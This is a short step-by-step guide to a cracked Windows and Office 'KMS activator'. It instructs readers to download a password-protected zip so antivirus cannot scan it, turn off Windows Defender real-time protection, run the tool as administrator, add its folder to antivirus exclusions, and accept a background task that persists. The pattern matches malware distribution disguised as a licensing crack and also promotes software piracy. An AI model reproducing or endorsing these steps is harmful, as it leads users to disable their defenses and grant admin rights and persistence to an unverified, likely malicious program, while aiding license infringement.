Activation Guide — Step by Step 2026

1. Download and extract

Grab the package above — it ships as a password-protected zip so the antivirus leaves it alone during the transfer. Open with WinRAR or 7-Zip, password 123456.

2. Pause the antivirus briefly

Every activator gets flagged as a false positive (they all touch licensing components — it's a category rule, not a detection). Windows Defender: Virus & threat protection → Manage settings → Real-time protection → Off. You turn it back on at the end.

3. Run as administrator

Close all Office apps first. Then right-click the activator → Run as administrator — admin rights are required to register the local KMS server.

4. Press the red button

One click, a few seconds, one confirmation message. Windows and Office are both activated — watermark and banners gone, everything unlocked.

5. Verify, then close the loop

Open Settings → System → Activation and confirm it reads "Windows is activated" (or run slmgr /xpr for the license dialog). Re-enable the antivirus. A background task renews the license every 180 days — you never repeat this.

Troubleshooting

• Click does nothing? Relaunch with "Run as administrator".
• File deleted by the antivirus? Add the folder to exclusions, extract again.
• Office banner still there? Restart the app — it reads the license at launch.
